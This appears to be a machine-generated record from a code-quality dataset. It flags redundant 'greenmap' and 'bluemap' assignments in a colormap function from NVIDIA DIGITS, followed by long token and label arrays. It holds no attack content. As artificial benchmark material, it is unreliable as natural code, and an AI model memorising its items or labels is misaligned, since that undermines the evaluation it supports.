"deta",
"il",
"menu",
" ",
"=",
" ",
"False_",
"\\u\\u\\uNL\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2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2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Variable defined multiple times | NVIDIA/DIGITS/digits/utils/image.py | [
{
"content": "def get_color_map(name):\n \"\"\"\n Return a colormap as (redmap, greenmap, bluemap)\n\n Arguments:\n name -- the name of the colormap. If unrecognized, will default to 'jet'.\n \"\"\"\n redmap = [0]\n greenmap = [0]\n bluemap = [0]\n if name == 'white':\n # essentially a noop\n redmap = [0,1]\n greenmap = [0,1]\n bluemap = [0,1]\n elif name == 'simple':\n redmap = [0,1,1,1]\n greenmap = [0,0,1,1]\n bluemap = [0,0,0,1]\n elif name == 'hot':\n redmap = [0, 0.03968253968253968, 0.07936507936507936, 0.119047619047619, 0.1587301587301587, 0.1984126984126984, 0.2380952380952381, 0.2777777777777778, 0.3174603174603174, 0.3571428571428571, 0.3968253968253968, 0.4365079365079365, 0.4761904761904762, 0.5158730158730158, 0.5555555555555556, 0.5952380952380952, 0.6349206349206349, 0.6746031746031745, 0.7142857142857142, 0.753968253968254, 0.7936507936507936, 0.8333333333333333, 0.873015873015873, 0.9126984126984127, 0.9523809523809523, 0.992063492063492, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]\n greenmap = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.03174603174603163, 0.0714285714285714, 0.1111111111111112, 0.1507936507936507, 0.1904761904761905, 0.23015873015873, 0.2698412698412698, 0.3095238095238093, 0.3492063492063491, 0.3888888888888888, 0.4285714285714284, 0.4682539682539679, 0.5079365079365079, 0.5476190476190477, 0.5873015873015872, 0.6269841269841268, 0.6666666666666665, 0.7063492063492065, 0.746031746031746, 0.7857142857142856, 0.8253968253968254, 0.8650793650793651, 0.9047619047619047, 0.9444444444444442, 0.984126984126984, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]\n bluemap = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.04761904761904745, 0.1269841269841265, 0.2063492063492056, 0.2857142857142856, 0.3650793650793656, 0.4444444444444446, 0.5238095238095237, 0.6031746031746028, 0.6825396825396828, 0.7619047619047619, 0.8412698412698409, 0.92063492063492, 1]\n elif name == 'rainbow':\n redmap = [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0.9365079365079367, 0.8571428571428572, 0.7777777777777777, 0.6984126984126986, 0.6190476190476191, 0.53968253968254, 0.4603174603174605, 0.3809523809523814, 0.3015873015873018, 0.2222222222222223, 0.1428571428571432, 0.06349206349206415, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.03174603174603208, 0.08465608465608465, 0.1375661375661377, 0.1904761904761907, 0.2433862433862437, 0.2962962962962963, 0.3492063492063493, 0.4021164021164023, 0.4550264550264553, 0.5079365079365079, 0.5608465608465609, 0.6137566137566139, 0.666666666666667]\n greenmap = [0, 0.03968253968253968, 0.07936507936507936, 0.119047619047619, 0.1587301587301587, 0.1984126984126984, 0.2380952380952381, 0.2777777777777778, 0.3174603174603174, 0.3571428571428571, 0.3968253968253968, 0.4365079365079365, 0.4761904761904762, 0.5158730158730158, 0.5555555555555556, 0.5952380952380952, 0.6349206349206349, 0.6746031746031745, 0.7142857142857142, 0.753968253968254, 0.7936507936507936, 0.8333333333333333, 0.873015873015873, 0.9126984126984127, 0.9523809523809523, 0.992063492063492, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0.9841269841269842, 0.9047619047619047, 0.8253968253968256, 0.7460317460317465, 0.666666666666667, 0.587301587301587, 0.5079365079365079, 0.4285714285714288, 0.3492063492063493, 0.2698412698412698, 0.1904761904761907, 0.1111111111111116, 0.03174603174603208, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n bluemap = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.01587301587301582, 0.09523809523809534, 0.1746031746031744, 0.2539682539682535, 0.333333333333333, 0.412698412698413, 0.4920634920634921, 0.5714285714285712, 0.6507936507936507, 0.7301587301587302, 0.8095238095238093, 0.8888888888888884, 0.9682539682539679, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]\n elif name == 'winter':\n greenmap = [0, 1]\n bluemap = [1, 0.5]\n else:\n if name != 'jet':\n print 'Warning: colormap \"%s\" not supported. Using jet instead.' % name\n redmap = [0,0,0,0,0.5,1,1,1,0.5]\n greenmap = [0,0,0.5,1,1,1,0.5,0,0]\n bluemap = [0.5,1,1,1,0.5,0,0,0,0]\n return 255.0 * np.array(redmap), 255.0 * np.array(greenmap), 255.0 * np.array(bluemap)",
"metadata": "root.get_color_map",
"header": "['module', '___EOS___']",
"index": 440
}
]
| [
{
"span": "greenmap ",
"start_line": 448,
"start_column": 4,
"end_line": 448,
"end_column": 12
},
{
"span": "bluemap ",
"start_line": 449,
"start_column": 4,
"end_line": 449,
"end_column": 11
}
]
| [
{
"span": "greenmap ",
"start_line": 453,
"start_column": 8,
"end_line": 453,
"end_column": 16
},
{
"span": "bluemap ",
"start_line": 454,
"start_column": 8,
"end_line": 454,
"end_column": 15
},
{
"span": "greenmap ",
"start_line": 457,
"start_column": 8,
"end_line": 457,
"end_column": 16
},
{
"span": "bluemap ",
"start_line": 458,
"start_column": 8,
"end_line": 458,
"end_column": 15
},
{
"span": "greenmap ",
"start_line": 461,
"start_column": 8,
"end_line": 461,
"end_column": 16
},
{
"span": "bluemap ",
"start_line": 462,
"start_column": 8,
"end_line": 462,
"end_column": 15
},
{
"span": "greenmap ",
"start_line": 465,
"start_column": 8,
"end_line": 465,
"end_column": 16
},
{
"span": "bluemap ",
"start_line": 466,
"start_column": 8,
"end_line": 466,
"end_column": 15
},
{
"span": "greenmap ",
"start_line": 468,
"start_column": 8,
"end_line": 468,
"end_column": 16
},
{
"span": "bluemap ",
"start_line": 469,
"start_column": 8,
"end_line": 469,
"end_column": 15
},
{
"span": "greenmap ",
"start_line": 474,
"start_column": 8,
"end_line": 474,
"end_column": 16
},
{
"span": "bluemap ",
"start_line": 475,
"start_column": 8,
"end_line": 475,
"end_column": 15
}
]
| 1 | true | [
"[CLS]_",
"Variable_",
"defined_",
"multiple_",
"times_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"get",
"\\u",
"color",
"\\u",
"map_",
"(_",
"name_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Return",
" ",
"a",
" ",
"colormap",
" ",
"as",
" ",
"(",
"red",
"map",
",",
" ",
"green",
"map",
",",
" ",
"blue",
"map",
")",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Arg",
"ument",
"s",
":",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"name",
" ",
"--",
" ",
"the",
" ",
"name",
" ",
"of",
" ",
"the",
" ",
"colormap",
".",
" ",
"If",
" ",
"unre",
"cogni",
"zed",
",",
" ",
"will",
" ",
"default",
" ",
"to",
" ",
"'",
"jet",
"'.",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"red",
"map_",
"=_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"green",
"map_",
"=_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"blue",
"map_",
"=_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"name_",
"==_",
"'",
"white",
"'_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"essential",
"ly",
" ",
"a",
" ",
"noop_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"red",
"map_",
"=_",
"[_",
"0_",
",_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"green",
"map_",
"=_",
"[_",
"0_",
",_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"blue",
"map_",
"=_",
"[_",
"0_",
",_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"elif_",
"name_",
"==_",
"'",
"simple",
"'_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"red",
"map_",
"=_",
"[_",
"0_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"green",
"map_",
"=_",
"[_",
"0_",
",_",
"0_",
",_",
"1_",
",_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"blue",
"map_",
"=_",
"[_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"elif_",
"name_",
"==_",
"'",
"hot",
"'_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"red",
"map_",
"=_",
"[_",
"0_",
",_",
"0.03",
"968",
"253",
"968",
"253",
"968",
"_",
",_",
"0.07",
"936",
"507",
"936",
"507",
"936",
"_",
",_",
"0.11",
"904",
"761",
"904",
"761",
"9_",
",_",
"0.15",
"873",
"015",
"873",
"015",
"87_",
",_",
"0.19",
"841",
"269",
"841",
"269",
"84_",
",_",
"0.23",
"809",
"523",
"809",
"523",
"81_",
",_",
"0.27",
"777777",
"777777",
"78_",
",_",
"0.31",
"746",
"031",
"746",
"031",
"74_",
",_",
"0.35",
"714",
"2857",
"142857",
"1_",
",_",
"0.39",
"682",
"539",
"682",
"539",
"68_",
",_",
"0.43",
"650",
"793",
"650",
"793",
"65_",
",_",
"0.47",
"619",
"047",
"619",
"047",
"62_",
",_",
"0.51",
"587",
"301",
"587",
"301",
"58_",
",_",
"0.55",
"555555",
"555555",
"56_",
",_",
"0.59",
"523",
"809",
"523",
"809",
"52_",
",_",
"0.63",
"492",
"063",
"492",
"063",
"49_",
",_",
"0.67",
"460",
"317",
"460",
"317",
"45_",
",_",
"0.71",
"4285",
"714",
"2857",
"142_",
",_",
"0.75",
"396",
"825",
"396",
"825",
"4_",
",_",
"0.79",
"365",
"079",
"365",
"079",
"36_",
",_",
"0.83",
"33333333333",
"333_",
",_",
"0.87",
"301",
"587",
"301",
"587",
"3_",
",_",
"0.91",
"269",
"841",
"269",
"841",
"27_",
",_",
"0.95",
"238",
"0952",
"380",
"952",
"3_",
",_",
"0.99",
"206",
"349",
"206",
"349",
"2_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"green",
"map_",
"=_",
"[_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0.031",
"746",
"031",
"746",
"031",
"63_",
",_",
"0.07",
"142857",
"142857",
"14_",
",_",
"0.11",
"11111111111",
"112_",
",_",
"0.15",
"079",
"365",
"079",
"365",
"07_",
",_",
"0.19",
"047",
"619",
"047",
"619",
"05_",
",_",
"0.23",
"015",
"873",
"015",
"873",
"_",
",_",
"0.26",
"984",
"126",
"984",
"126",
"98_",
",_",
"0.30",
"952",
"380",
"952",
"380",
"93_",
",_",
"0.34",
"920",
"634",
"920",
"634",
"91_",
",_",
"0.38",
"888888",
"888888",
"88_",
",_",
"0.42",
"857",
"142857",
"142",
"84_",
",_",
"0.46",
"825",
"396",
"825",
"396",
"79_",
",_",
"0.50",
"793",
"650",
"793",
"650",
"79_",
",_",
"0.54",
"761",
"904",
"761",
"904",
"77_",
",_",
"0.58",
"730",
"158",
"730",
"158",
"72_",
",_",
"0.62",
"698",
"412",
"698",
"412",
"68_",
",_",
"0.66",
"6666666666",
"666",
"5_",
",_",
"0.70",
"634",
"920",
"634",
"920",
"65_",
",_",
"0.74",
"603",
"174",
"603",
"174",
"6_",
",_",
"0.78",
"57142",
"857",
"142",
"856",
"_",
",_",
"0.82",
"539",
"682",
"539",
"682",
"54_",
",_",
"0.86",
"507",
"936",
"507",
"936",
"51_",
",_",
"0.90",
"476",
"190",
"476",
"190",
"47_",
",_",
"0.94",
"444444",
"444444",
"42_",
",_",
"0.98",
"412",
"698",
"412",
"698",
"4_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"blue",
"map_",
"=_",
"[_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0.04",
"761",
"904",
"761",
"904",
"745",
"_",
",_",
"0.12",
"698",
"412",
"698",
"412",
"65_",
",_",
"0.20",
"634",
"920",
"634",
"920",
"56_",
",_",
"0.28",
"57142",
"857",
"142",
"856",
"_",
",_",
"0.36",
"507",
"936",
"507",
"936",
"56_",
",_",
"0.44",
"444444",
"444444",
"46_",
",_",
"0.52",
"380",
"952",
"380",
"952",
"37_",
",_",
"0.60",
"317",
"460",
"317",
"460",
"28_",
",_",
"0.68",
"253",
"968",
"253",
"968",
"28_",
",_",
"0.76",
"190",
"476",
"190",
"476",
"19_",
",_",
"0.84",
"126",
"984",
"126",
"984",
"09_",
",_",
"0.92",
"063",
"492",
"063",
"492",
"_",
",_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"elif_",
"name_",
"==_",
"'",
"rain",
"bow",
"'_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"red",
"map_",
"=_",
"[_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"0.93",
"650",
"793",
"650",
"793",
"67_",
",_",
"0.85",
"714",
"2857",
"142857",
"2_",
",_",
"0.77",
"777777",
"777777",
"77_",
",_",
"0.69",
"841",
"269",
"841",
"269",
"86_",
",_",
"0.61",
"904",
"761",
"904",
"761",
"91_",
",_",
"0.53",
"968",
"253",
"968",
"254_",
",_",
"0.46",
"031",
"746",
"031",
"746",
"05_",
",_",
"0.38",
"0952",
"380",
"952",
"381",
"4_",
",_",
"0.30",
"158",
"730",
"158",
"730",
"18_",
",_",
"0.22",
"22222222222",
"223_",
",_",
"0.14",
"2857",
"142857",
"143",
"2_",
",_",
"0.06",
"349",
"206",
"349",
"206",
"415",
"_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0.031",
"746",
"031",
"746",
"032",
"08_",
",_",
"0.08",
"465",
"608",
"465",
"608",
"465",
"_",
",_",
"0.13",
"756",
"613",
"756",
"613",
"77_",
",_",
"0.19",
"047",
"619",
"047",
"619",
"07_",
",_",
"0.24",
"338",
"624",
"338",
"624",
"37_",
",_",
"0.29",
"629",
"629",
"629",
"629",
"63_",
",_",
"0.34",
"920",
"634",
"920",
"634",
"93_",
",_",
"0.40",
"211",
"640",
"211",
"640",
"23_",
",_",
"0.45",
"502",
"645",
"502",
"645",
"53_",
",_",
"0.50",
"793",
"650",
"793",
"650",
"79_",
",_",
"0.56",
"084",
"656",
"084",
"656",
"09_",
",_",
"0.61",
"375",
"661",
"375",
"661",
"39_",
",_",
"0.66",
"6666666666",
"667_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"green",
"map_",
"=_",
"[_",
"0_",
",_",
"0.03",
"968",
"253",
"968",
"253",
"968",
"_",
",_",
"0.07",
"936",
"507",
"936",
"507",
"936",
"_",
",_",
"0.11",
"904",
"761",
"904",
"761",
"9_",
",_",
"0.15",
"873",
"015",
"873",
"015",
"87_",
",_",
"0.19",
"841",
"269",
"841",
"269",
"84_",
",_",
"0.23",
"809",
"523",
"809",
"523",
"81_",
",_",
"0.27",
"777777",
"777777",
"78_",
",_",
"0.31",
"746",
"031",
"746",
"031",
"74_",
",_",
"0.35",
"714",
"2857",
"142857",
"1_",
",_",
"0.39",
"682",
"539",
"682",
"539",
"68_",
",_",
"0.43",
"650",
"793",
"650",
"793",
"65_",
",_",
"0.47",
"619",
"047",
"619",
"047",
"62_",
",_",
"0.51",
"587",
"301",
"587",
"301",
"58_",
",_",
"0.55",
"555555",
"555555",
"56_",
",_",
"0.59",
"523",
"809",
"523",
"809",
"52_",
",_",
"0.63",
"492",
"063",
"492",
"063",
"49_",
",_",
"0.67",
"460",
"317",
"460",
"317",
"45_",
",_",
"0.71",
"4285",
"714",
"2857",
"142_",
",_",
"0.75",
"396",
"825",
"396",
"825",
"4_",
",_",
"0.79",
"365",
"079",
"365",
"079",
"36_",
",_",
"0.83",
"33333333333",
"333_",
",_",
"0.87",
"301",
"587",
"301",
"587",
"3_",
",_",
"0.91",
"269",
"841",
"269",
"841",
"27_",
",_",
"0.95",
"238",
"0952",
"380",
"952",
"3_",
",_",
"0.99",
"206",
"349",
"206",
"349",
"2_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"0.98",
"412",
"698",
"412",
"698",
"42_",
",_",
"0.90",
"476",
"190",
"476",
"190",
"47_",
",_",
"0.82",
"539",
"682",
"539",
"682",
"56_",
",_",
"0.74",
"603",
"174",
"603",
"174",
"65_",
",_",
"0.66",
"6666666666",
"667_",
",_",
"0.58",
"730",
"158",
"730",
"158",
"7_",
",_",
"0.50",
"793",
"650",
"793",
"650",
"79_",
",_",
"0.42",
"857",
"142857",
"142",
"88_",
",_",
"0.34",
"920",
"634",
"920",
"634",
"93_",
",_",
"0.26",
"984",
"126",
"984",
"126",
"98_",
",_",
"0.19",
"047",
"619",
"047",
"619",
"07_",
",_",
"0.11",
"11111111111",
"116_",
",_",
"0.031",
"746",
"031",
"746",
"032",
"08_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"blue",
"map_",
"=_",
"[_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0.015",
"873",
"015",
"873",
"015",
"82_",
",_",
"0.09",
"523",
"809",
"523",
"809",
"534",
"_",
",_",
"0.17",
"460",
"317",
"460",
"317",
"44_",
",_",
"0.25",
"396",
"825",
"396",
"825",
"35_",
",_",
"0.333",
"33333333333",
"3_",
",_",
"0.41",
"269",
"841",
"269",
"841",
"3_",
",_",
"0.49",
"206",
"349",
"206",
"349",
"21_",
",_",
"0.57",
"142857",
"142857",
"12_",
",_",
"0.65",
"079",
"365",
"079",
"365",
"07_",
",_",
"0.73",
"015",
"873",
"015",
"873",
"02_",
",_",
"0.80",
"952",
"380",
"952",
"380",
"93_",
",_",
"0.88",
"888888",
"888888",
"84_",
",_",
"0.96",
"825",
"396",
"825",
"396",
"79_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"elif_",
"name_",
"==_",
"'",
"wint",
"er",
"'_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"green",
"map_",
"=_",
"[_",
"0_",
",_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"blue",
"map_",
"=_",
"[_",
"1_",
",_",
"0.5_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"name_",
"!=_",
"'",
"jet",
"'_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"print_",
"'",
"Warn",
"ing",
":",
" ",
"colormap",
" ",
"\"%",
"s",
"\"",
" ",
"not",
" ",
"support",
"ed",
".",
" ",
"Us",
"ing",
" ",
"jet",
" ",
"inst",
"ead",
".'_",
"%_",
"name_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"red",
"map_",
"=_",
"[_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0.5_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"0.5_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"green",
"map_",
"=_",
"[_",
"0_",
",_",
"0_",
",_",
"0.5_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"0.5_",
",_",
"0_",
",_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"blue",
"map_",
"=_",
"[_",
"0.5_",
",_",
"1_",
",_",
"1_",
",_",
"1_",
",_",
"0.5_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
",_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"255.0_",
"*_",
"np_",
"._",
"array_",
"(_",
"red",
"map_",
")_",
",_",
"255.0_",
"*_",
"np_",
"._",
"array_",
"(_",
"green",
"map_",
")_",
",_",
"255.0_",
"*_",
"np_",
"._",
"array_",
"(_",
"blue",
"map_",
")_"
]
| [
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
2,
2,
2,
2,
2,
0,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
3,
1,
2,
2,
2,
2,
2,
2,
2,
3,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
